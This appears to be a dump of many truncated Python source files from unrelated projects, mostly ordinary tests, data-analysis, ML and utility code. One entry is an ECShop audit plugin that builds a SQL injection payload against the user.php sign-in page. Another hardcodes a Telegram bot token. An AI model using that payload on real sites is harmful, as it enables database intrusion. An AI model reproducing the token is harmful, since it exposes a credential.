content
stringlengths
5
1.05M
import uuid from string import Template from youths.tests.factories import ProfileFactory, YouthProfileFactory def test_anon_user_query_should_fail(rf, youth_profile, anon_user_gql_client): request = rf.post("/graphql") request.user = anon_user_gql_client.user t = Template( """ { ...
# coding: utf-8 import threading import os try: from http.server import HTTPServer from http.server import SimpleHTTPRequestHandler except ImportError: from BaseHTTPServer import HTTPServer from SimpleHTTPServer import SimpleHTTPRequestHandler class StubHTTPServer(threading.Thread): daemon = True ...
class Event(object): """A single neutrino interaction in the detector.""" def __init__(self, code, time=None, vertex=None, incoming=None, outgoing=None): self.code = code # numeric code for interaction channel self.time = time # in ms self.vertex = vertex or (None, None, None) # x, y...
from .gen.user_task_lists import _UserTaskLists class UserTaskLists(_UserTaskLists): """User Task Lists resource""" pass
import pandas as pd import numpy as np import matplotlib.pyplot as plt from cvxpy import * plt.style.use("fivethirtyeight") class PortFolAnalysis: def __init__(self, df): self.df = df self.returns = df.pct_change() self.mean_returns = self.returns.mean() self.cov_mat = s...
#!/usr/bin/python3 # -*- coding: utf-8 -*- import pigpio import time import string class atlas_i2c: def __init__(self, pi, addr): self.pi = pi self.bus = 1 self.addr = addr self.long_timeout = 1.5 # the timeout needed to query readings and calibrations self.short_timeout =...
import os import tensorflow as tf import numpy as np from modules.modules_spect_discriminate import sampler, \ generator, joint_discriminator, spect_discriminator from utils.model_utils import l1_loss from utils.tf_forward_tan import lddmm class VariationalCycleGAN(object): def __init__(self, dim_pitch=...
#!/usr/bin/env python # -*- coding: utf-8 -*- #__author__ = 'xfkxfk' def assign(service, arg): if service == "ecshop": return True, arg def audit(arg): url = arg url = url + '/user.php?act=signin' post_data = 'username=%CE%27%20and%201=1%20union%20select%201%20and%20%28select%201%20...
import json, requests """ Telegram Access Parameters. """ Telegram_ChatID = "@Smartbin3" #"@CHAT ID OF THE TELEGRAM CHANNEL" Telegram_bottoken = "bot2038238671:AAEXTO6fNXzgG3DUBntyVnZy1At0tRkZG1w" #"TELEGRAM BOT TOKEN START WITH BOT[FOLLOWED BY TOKEN]" # sms = Sms(Twilio_SSID, Twilio_Auth, My_Number, Twilio_Number)...
import pkg_resources __version__ = pkg_resources.get_distribution("pinax-waitinglist").version default_app_config = "pinax.waitinglist.apps.AppConfig"
f = open("sample_split_avg_17_train.seq", "r").readlines() with open("test_data/baseline_sample_split_train.seq", "w") as fea: for line in f: if len(line) > 2: pairs = line.strip().split() text = str(pairs[0] + "\t" + pairs[1] + "\t" + pairs[-1] + "\n") fea.write(text) ...
""" Created by adam on 7/5/17 """ from unittest import TestCase from TwitterDatabase.DatabaseAccessObjects.Cursors import TweetCursor from Models.TweetORM import Tweet __author__ = 'adam' limit = 50 class TestTweetCursor(TestCase): def test__create_iterator(self): t = TweetCursor(limit=limit) sel...
#!/usr/bin/env python import os, sys, logging log = logging.getLogger(__name__) class Pub(object): DEST_ROOT = os.path.expanduser("~/simoncblyth.bitbucket.io") DEST_BASE = os.path.join(DEST_ROOT, "env/presentation") def __init__(self, base=None, ext=".png"): if base is None: base = o...
import pyspark.sql.types vulnerability_statistics_parquet_schema = pyspark.sql.types.StructType([ pyspark.sql.types.StructField('firmware_hash', pyspark.sql.types.StringType()), pyspark.sql.types.StructField('low', pyspark.sql.types.IntegerType()), pyspark.sql.types.StructField('medium', pyspark.sql.types....
from fastlogging import LogInit, INFO, OptimizeFile logger = LogInit(console=True) optBar = OptimizeFile(globals(), "opt_test.py", "logger", remove=INFO) optBar.bar()
from ...constants import * def draw(chart, canvas): avail_width = CHART_WIDTH - Y_AXIS_WIDTH - MARGIN bucket_width = avail_width / len(chart['x_axis']) bottom = X_AXIS_HEIGHT max_top = CHART_HEIGHT - TITLE_HEIGHT avail_height = max_top - bottom left = Y_AXIS_WIDTH for y_value ...
import os,sys import numpy as np import theano import theano.tensor as T import lasagne import time from os.path import dirname from lasagne.regularization import l2, l1 from lib.utils.data_utils import * #------------------------------------------------------------------------------# def predict_fn(input_var, test_p...
# # This file is part of the PyMeasure package. # # Copyright (c) 2013-2017 PyMeasure Developers # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limit...
from django.contrib.auth.mixins import PermissionRequiredMixin from django.urls import reverse_lazy from django.views.generic import CreateView, DeleteView, ListView, UpdateView from util.view_utils import PreventGetRequestsMixin from .forms import AnnouncementForm from .models import Announcement class Announcement...
''' Sample Usage:- python pose_estimation.py --K_Matrix calibration_matrix.npy --D_Coeff distortion_coefficients.npy --type DICT_5X5_100 ''' import numpy as np import cv2 import sys from utils import ARUCO_DICT import argparse import time def lineHasIntersectionWithTopPlane(top_pts,line_pts, resolution=10 ): t =...
class IntegrationMethodNotFound(ModuleNotFoundError): def __init__(self, exception): self.message = f"\n{exception.name} is not installed by default, " \ "please make sure you install it manually." super().__init__(self.message)
#!/usr/bin/env python import sys import os import lightgbm as lgbm from rdkit import Chem from rdkit.Chem import Descriptors class LogDPredictor: def __init__(self,model_file_name): if not os.path.exists(model_file_name): print(f"Error: Could not find model file {model_file_name}",file=sys.std...
#Python imports import os import unittest import logging from io import open # Third party imports import pandas as pd import mock # Project Imports import app_identity import bq_utils from utils import bq import gcs_utils from tests import test_util from retraction import retract_deactivated_pids from constants.cdr_...
# Copyright (c) OpenMMLab. All rights reserved. from mmdeploy.backend.onnxruntime import is_available, is_custom_ops_available __all__ = ['is_available', 'is_custom_ops_available']
#%% import pandas as pd import numpy as np import os import sys from datetime import date, datetime pd.options.mode.chained_assignment = None # default='warn' # %% def ao5_calc(row, event=1): """Compute Average of 5 for a given row and event id as per Regulations 9f8 and 9f9 Args: row (pd.DataFrame row): Data...
from setuptools import setup from torch.utils.cpp_extension import BuildExtension, CUDAExtension setup( name='point_utils', ext_modules=[ CUDAExtension('point_utils_cuda', [ 'src/point_utils_api.cpp', 'src/furthest_point_sampling.cpp', 'src/furthest_point_sampling_g...
"""sig_splice: A tool for splicing together near-field pressure signatures.""" from setuptools import setup setup(name='splicing', version='0.0', description='A tool for splicing together near-field pressure signatures.', url='NA', author='bolanderc', author_email='christianrbolander@gma...
from typing import Dict import matplotlib.pyplot as plt import numpy as np import scipy.cluster.hierarchy as scipyhierarchy import scipy.spatial.distance as scipydistance danish_fonds = [ "data/danish_funds_assets/Sparindex_Dow_Jones_Sustainability_World_KL_downloaded_31may2021.txt", "data/danish_funds_assets...
"""Make cultivar files.""" import os import argparse import pandas as pd from ideotype.init_params import params_sample from ideotype import DATA_PATH # Setup argparse for terminal control a = argparse.ArgumentParser( description='make cultivar file' ) a.add_argument( 'run_name', type=str, help='ru...
import numpy as np class Sphere: """ 问题 """ def __init__(self, x_dim=1, x_min=-100, x_max=100): self.x_dim = x_dim self.x_min = x_min self.x_max = x_max def generate_feasible_solutions(self, n=1): """ 生成可行解 :return: 可行解 """...
# ActivitySim # See full license in LICENSE.txt. from builtins import range from builtins import object import logging from collections import OrderedDict import numpy as np import pandas as pd from activitysim.core.util import quick_loc_series logger = logging.getLogger(__name__) class OffsetMapper(object): ...
from collections import OrderedDict class CacheDict(OrderedDict): """Dict with a limted lenght, ejecting LRUs as needed. """ def __init__(self, cache_len=10, *args, **kwargs): assert cache_len > 0 self.cache_len = cache_len super().__init__(*args, **kwargs) def __setitem__(self,...
from .AbstractDataset import AbstractDataset from .AbstractDatasetGenerator import AbstractDatasetGenerator from .RandomUniformDatasetGenerator import RandomUniformDatasetGenerator from .FashionMNISTDataset import FashionMNISTDataset from .RPPADataset import RPPADataset from .TwentyNewsgroups import TwentyNewsgroups
#!/bin/python import numpy import os import cPickle from sklearn.cluster.k_means_ import KMeans import sys # Generate k-means features for videos; each video is represented by a single vector if __name__ == '__main__': if len(sys.argv) != 4: print "Usage: {0} kmeans_model, cluster_num, file_list".format(sy...
#!/usr/bin/env python3 # TITLE DISCRIPTION # -*- coding: utf-8 -*- from math import inf, modf import string as chrs def serialize(table, prettyLook=False, indentator=' ', recursionStackLimit=inf): equalsSymbol = prettyLook and " = " or "=" def serialize_(t, currentIndentationSymbol, currentRecursionStac...
import torch from torch.nn.parallel import DistributedDataParallel as DDP from rlpyt.utils.collections import namedarraytuple from rlpyt.agents.base import BaseAgent from rlpyt.utils.logging import logger AgentInfo = namedarraytuple("AgentInfo", ["dist_info", "value"]) AgentInfoRnn = namedarraytuple("AgentInfoRnn", ...
# All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in...
#!/usr/bin/env python # -*- coding: utf-8 -*- import sys import os from gdcmdtools.base import BASE_INFO from gdcmdtools.base import DEBUG_LEVEL from gdcmdtools.auth import GDAuth import argparse from argparse import RawTextHelpFormatter from gdcmdtools.auth import DICT_OF_REDIRECT_URI import logging logger = log...
"""Core managed objects""" from authentik.core.models import Source from authentik.managed.manager import EnsureExists, ObjectManager class CoreManager(ObjectManager): """Core managed objects""" def reconcile(self): return [ EnsureExists( Source, "goauthent...
import numpy as np from tqdm import tqdm import torch from math import floor class reaction: def __init__(self, N, educts, products, catalysts, ks): self.N = N self.educts = educts self.educts.sort() self.products = products self.products.sort() ...
# this works for python 2 or 3 directly. To build, do: # # python setup.py build_ext # # Note the setup.cfg directs the build to be done in-place. from numpy.distutils.core import setup, Extension ext_modules = [Extension("compressible.interface_f", ["compressible/interface_f.f90"]), Extension("advect...
# -*- coding: utf-8 -*- # Generated by Django 1.10.6 on 2017-03-11 19:51 from __future__ import unicode_literals from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('redditpoller', '0018_auto_20170307_2046'), ] operations = [ migrations.RenameField(...
''' Process json with the jinja2 templating engine This renderer will take a json file with the jinja template and render it to a high data format for salt states. ''' import json import os # Import Third Party libs from jinja2 import Template def render(template, env='', sls=''): ''' Render the data passi...
import sys import numpy as np import datetime from PyQt4.QtCore import QTime, QTimer from pyqtgraph.Qt import QtGui, QtCore import pyqtgraph as pg from timestamp import now_timestamp, int2dt from numpy_buffer import RingBuffer class MyApplication(QtGui.QApplication): def __init__(self, *args, **kwargs): ...
#!/usr/bin/env python # Copyright 2014-2018 The PySCF Developers. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # U...
# -*- coding: utf-8 -*- """ Created on Sun Jan 17 14:02:49 2021 @author: Ali Jazayeri """ import src.CIG_edge as cig_edge class Node(): def __init__(self, node, lbl): self.node = node self.lbl = lbl self.edges = {} def add_edge(self, frm, to, lbl): self.edge...
import pdf2image import zipfile from io import BytesIO from flask import Flask, request, redirect, abort, send_file app = Flask(__name__, static_url_path='') @app.route('/') def index(): return """<html><head></head><body><form action="/convert" method="post" enctype="multipart/form-data"><input type="file" name...
from time import sleep import re import math from atavism.http11.client import HttpClient class AirplayDeviceError(Exception): pass class AirplayDevice: SCRUB_RE = re.compile(b"([a-z]+)\: ([0-9\.]+)") UPDATE_INTERVAL = 5 def __init__(self, device=None): self.name = None self.info = ...
#!/usr/bin/env python # -*- coding: utf-8 -*- # vim: sw=4:ts=4:expandtab """ utils ~~~~~ Provides miscellaneous utility methods """ from __future__ import ( absolute_import, division, print_function, with_statement, unicode_literals) import requests from slugify import slugify def fetch(**kwargs): ""...
from segments.segmentsCommon import SegmentsCommon from markers import Markers class APP0(SegmentsCommon): def __init__(self): super(APP0, self).__init__() def analyze(self, marker, body): analyzed = {} analyzed["segmentName"] = "APP0" assert body[0:5] == [ord('J'), o...
import difflib import ipaddress import json import time from copy import deepcopy import pika from poseidon_core.constants import NO_DATA from poseidon_core.controllers.faucet.config import FaucetRemoteConfGetSetter from poseidon_core.controllers.faucet.faucet import FaucetProxy from poseidon_core.helpers.actions impo...
# encoding:utf-8 ''''' __Author__:沂水寒城 统计一个给定字符串中重复模式数量得到最高重复模式串 ''' def slice(num_str, w): ''''' 对输入的字符串滑窗切片返回结果列表 ''' result_list = [] for i in range(len(num_str) - w + 1): result_list.append(num_str[i:i + w]) return result_list def get_repeat_num_seq(num_str): ''''' 统计重复模...
ATTRIBUTE_INVENTORY = 'i' ATTRIBUTE_OPTION = 'o' ATTRIBUTE_STATEMENT = 's' ATTRIBUTE_TYPES = ( (ATTRIBUTE_INVENTORY, 'Inventory'), (ATTRIBUTE_OPTION, 'DHCP option'), (ATTRIBUTE_STATEMENT, 'DHCP statement'), )
from setuptools import setup reqs = [line.strip() for line in open('requirements.txt')] def readme(): with open('README.md') as f: return f.read() kwargs = { 'name': 'colocate', 'author': 'OHW 2019 Team Co-Locators!!!', 'author_email': 'noreply@co-locators-ohw19.org', 'url': 'https://gith...
""" [2015-12-16] Challenge #245 [Intermediate] Ggggggg gggg Ggggg-ggggg! https://www.reddit.com/r/dailyprogrammer/comments/3x3hqa/20151216_challenge_245_intermediate_ggggggg_gggg/ We have discovered a new species of aliens! They look like [this](https://www.redditstatic.com/about/assets/reddit-alien.png) and are tryi...
"""This test is primarily to trigger the argparse code in main.py """ from unittest import TestCase from flake8diff import main # noqa class MainTestCase(TestCase): def test_main(self): # using assertTrue() instead of assertIsNotNone() for py2.6 compat self.assertTrue(main.LOGGING_FORMAT is not ...
import os DEBUG = False name = os.environ.get("DATABASE_NAME") user = os.environ.get("DATABASE_USER") password = os.environ.get("DATABASE_PASSWORD") host = os.environ.get("DATABASE_HOST") port = os.environ.get("DATABASE_PORT") DATABASES = { "default": { "ENGINE": "django.db.backends.postgresql", ...
""" Upgrade custom's game dir to the latest version. """ from utils import compare_version class BaseUpgrader(object): """ Upgrade a game dir from the version in [<from_version>, <to_version>) to version <target_version>. """ # Can upgrade the game of version between from_version and to_version. ...
#!/usr/bin/env python # Copyright 2015 The LUCI Authors. All rights reserved. # Use of this source code is governed under the Apache License, Version 2.0 # that can be found in the LICENSE file. """Unit tests for handlers_cron.py.""" import datetime import json import unittest import test_env test_env.setup_test_env...
# Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"). You # may not use this file except in compliance with the License. A copy of # the License is located at # # http://aws.amazon.com/apache2.0/ # # or in the "license" file accompan...
from robocode_ls_core.config import Config from robocode_vscode.settings import ALL_ROBOCODE_OPTIONS class RobocodeConfig(Config): ALL_OPTIONS = ALL_ROBOCODE_OPTIONS
import numpy as np from pycocotools.coco import COCO from .custom import CustomDataset from .registry import DATASETS import cv2 import os.path as osp import mmcv from mmcv.parallel import DataContainer as DC from .registry import DATASETS from .transforms import (ImageTransform, BboxTransform, MaskTransform, ...
from contextlib import contextmanager from typing import Iterable, List from beam import RelatedInline, ViewSet from beam.urls import UrlKwargDict from beam.viewsets import BaseViewSet, Component from django.utils.translation import ugettext_lazy as _ from reversion import ( create_revision, get_comment, i...
""" Dump the git log to a file """ __author__ = "Kristian Berg" __copyright__ = "Copyright (c) 2018 Axis Communications AB" __license__ = "MIT" __credits__ = ["Kristian Berg", "Oscar Svensson"] import argparse import subprocess import sys import json def git_log_to_json(init_hash, path_to_repo): hashes = subproce...
# -*- coding: utf-8 -*- """ query_history_change_stocks 指定涨跌幅,查询本地下载的历史日k数据,返回符合条件的股票 """ from datetime import datetime from futuquant import * def query_history_change_stocks(quote_context=None, markets=[Market.HK], start='2017-01-05', end='2017-1-10', change_min=5.0, change_ma...
#!/usr/bin/python # # Copyright 2016 Intel Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law...
#! /usr/bin/python from flask import Flask, g, jsonify, request, redirect from flask_cors import CORS import csv import rethinkdb as r import os RDB_HOST = 'localhost' RDB_PORT = 28015 MUSIC_DB = 'MusicStorage' ALLOWED_EXTENSIONS = set(['txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif','mp3']) UPLOAD_FOLDER = '../ServiceDis...
""" Copyright (c) Facebook, Inc. and its affiliates. """ import copy import math import torch import torch.nn as nn ##### Utility modules # Produce n identical layers. def clones(module, n): return nn.ModuleList([copy.deepcopy(module) for _ in range(n)]) def xavier_init(module, mul=1.0): for p in module.pa...
#-*- coding: utf-8 -*- import sys, os.path thePath = sys.argv[1] def listFile(args, dirName, fileNames): for fileName in fileNames: filePath = os.path.join(dirName, fileName) if os.path.isfile(filePath): print filePath os.path.walk(thePath, listFile, None)
#!/usr/bin/env python """ prep - prepare text for statistical processing License: 3-clause BSD (see https://opensource.org/licenses/BSD-3-Clause) Author: Hubert Tournier """ import getopt import logging import os import string import sys import unicodedata # Version string used by the what(1) and ident(1) commands: I...
import json from app import create_app from celery_factory import make_celery from earthquake import get_important_earthquakes from models import Earthquake, User from notifications import send_firebase_notifications, send_twilio_notifications from utils import circle_to_polygon app = create_app() celery = make_celer...
# AUTO-GENERATED by tools/checkspecs.py - DO NOT EDIT from ....testing import assert_equal from ..minc import Resample def test_Resample_inputs(): input_map = dict(args=dict(argstr='%s', ), clobber=dict(argstr='-clobber', usedefault=True, ), coronal_slices=dict(argstr='-coronal', xor=(u'tr...
#!/usr/bin/env python __author__ = 'Sergei F. Kliver' import sys import argparse from collections import OrderedDict from RouToolPa.Collections.General import TwoLvlDict from RouToolPa.GeneralRoutines.File import check_path parser = argparse.ArgumentParser() parser.add_argument("-s", "--species_list", action="store...
import sys import os from platform import python_version # https://github.com/willmcgugan/rich from rich.console import Console from rich.theme import Theme import pydbhub.dbhub as dbhub if __name__ == '__main__': custom_theme = Theme({ "info": "green", "warning": "yellow", "error": "bol...
#!/usr/bin/env python # read_RPM.py # 2016-01-20 # Public Domain import time import pigpio # http://abyz.co.uk/rpi/pigpio/python.html class reader: """ A class to read speedometer pulses and calculate the RPM. """ def __init__(self, pi, gpio, pulses_per_rev=1.0, weighting=0.0, min_RPM=5.0): """ ...
from random import randint import numpy as np col_length = randint(2, 4) n = [[randint(0, 10) for __ in range(col_length)] for _ in range(randint(4, 10))] n = np.array(n) for col in range(n.shape[1]): tmp = sorted([list(x) for x in list(n)], key=lambda d: d[col], reverse=True) print(f'Sorted by column index ...
# -*- coding: utf-8 -*- """ """ from __future__ import unicode_literals import json, time from rest_framework import serializers as rest_serializers from natrix.common.natrix_views import serializers as natrix_serializers from natrix.common.natrix_views import fields as natrix_fields from natrix.common import except...
MUSIC_PATH = r'../music/' LYRIC_PATH = r'../lyric/'
""" Room Rooms are simple containers that has no location of their own. """ from evennia import DefaultRoom, default_cmds, CmdSet, utils #from commands import BaseCommand from evennia import TICKER_HANDLER as tickerhandler from evennia.utils.evmenu import EvMenu class Room(DefaultRoom): """ Rooms are like ...
ACCESSID = "" ACCESSSECRETKEY = "" REGION = "" LEDGER_NAME = "" SECRET_KEY = ""
def swap_tow_value(n1, n2): n2, n1 = n1, n2 return n1, n2 def add_number(n1, n2, n3=0, n4=0): return n1 + n2 + n3 + n4 + n4 def sub_number(n1, n2): return n1 - n2
# -*- coding: utf-8 -*- import unittest import datetime from cwr.parser.decoder.dictionary import AgreementDictionaryDecoder """ Dictionary to Message decoding tests. The following cases are tested: """ __author__ = 'Bernardo Martínez Garrido' __license__ = 'MIT' __status__ = 'Development' class TestAgreementRec...
import vim _BOOL_OPTS = set(('allowrevins', 'altkeymap', 'antialias', 'autochdir', 'arabic', 'arabicshape', 'autoindent', 'autoread', 'autowrite', 'backup', 'ballooneval', 'binary', 'bioskey', 'bomb', 'buflisted', 'buftype', 'cindent', 'compatible', 'confirm', 'con...
def set_partitions(iterable, k=None): """ Yield the set partitions of *iterable* into *k* parts. Set partitions are not order-preserving. >>> iterable = 'abc' >>> for part in set_partitions(iterable, 2): ... print([''.join(p) for p in part]) ['a', 'bc'] ['ab', 'c'] ['b', 'ac'] ...
# -*- coding: utf-8 -*- """ Testing of chmod command. """ import pytest __author__ = 'Yuping Sang, Marcin Usielski' __copyright__ = 'Copyright (C) 2018-2019, Nokia' __email__ = 'yuping.sang@nokia.com, marcin.usielski@nokia.com' @pytest.mark.parametrize("permission, filename, error", [ ("777", "/home/ute/test.tx...
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # Import System Libraries import urllib.parse import hashlib import base64 import re import chardet import io # Import External Libraries import torrent_parser as tp import bencodepy import requests # Import Custom DataStructures from torrentscraper.datastruct.magnet_ins...
import pandas as pd import numpy as np from visions.core.functional import ( type_cast_and_infer_frame, type_cast_frame, type_detect_frame, type_inference_frame, ) from visions.core.implementations import visions_complete_set # Create a DataFrame from our data df = pd.DataFrame( { "number...
# Generated by Django 2.0.6 on 2018-07-18 10:56 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ('message', '0003_messager...
""" Parse functions unit tests. """ import unittest import sys sys.path.append('..') from parse import parse_functions, parse_enums, parse_structs, parse_typedefs from parse import parse from format import prepare_for_parsing class TestParse(unittest.TestCase): """ Parse functions unittest class. """ ...
import asyncio import subprocess from typing import Literal import discord import psutil from discord.ext import commands class OnMaintenance(commands.CheckFailure): pass class Manager(commands.Cog): def __init__(self, bot: commands.Bot): self.bot = bot self.games: dict[int, discord.View] =...
# Copyright 2018-2021 Xanadu Quantum Technologies Inc. # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or ag...
def setup(app): """ Sphinx extension which also registers a "setting" directive """ app.add_crossref_type( directivename="setting", rolename="setting", indextemplate="pair: %s; setting", )
class ProcessExecuter(ThreadedTaskExecuter): ''' Usage: * instance.submit(process, timeout) to queue a process for executing * instance.wait() to wait for the termination of all submitted processes * instance.terminateProcess(process) to manually terminate a process * onProcessCompleted(self, pr...
import datetime import math import os import logging from collections import abc from collections import OrderedDict from contextlib import contextmanager import requests import pandas as pd import yaml import pkg_resources from intake import catalog from intake.catalog import exceptions from intake.catalog import loc...
# Generated by Django 3.2.4 on 2021-06-02 11:11 from django.conf import settings from django.db import migrations, models import django.db.models.deletion import django.utils.timezone class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUT...
from ast import literal_eval import os import sys dir_path = os.path.dirname(os.path.realpath(__file__)) sys.path.append(dir_path) import utils.utils as utils class OpenflowEntry(utils.ConfEntry): def __init__(self, openflow_name, config): utils.ConfEntry.__init__(self, openflow_name, config) self....
# Copyright (c) 2020, Xilinx # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, this # list of conditions and the follow...
from dataset import * small_test_data_dir = 'test/data' large_test_data_dir = '../../python/datasets/dogs-vs-cats/train' def show_header(header): lines = '-' * 25 print('%s[%s]%s' %(lines, header, lines)) def test_shuffle(): show_header('test_shuffle') data = range(10) print(shuffle(data)) print(data) data...
# -*- coding: utf-8 -*- __author__ = 'Adward' # Python utils imports import os import sys from time import time import sqlite3 # Standard scientific Python imports import numpy as np import scipy.sparse as sp from scipy.sparse import csr_matrix, hstack, coo_matrix from scipy.sparse.linalg import svds # Import classi...
#!/usr/bin/env python3 import os import datetime import mysql.connector from dotenv import load_dotenv import logging import logging.handlers import json logger = logging.getLogger() handler = logging.StreamHandler() formatter = logging.Formatter('%(asctime)s %(levelname)-8s %(message)s', datefmt='%d-%b-%y %H:%M:%S'...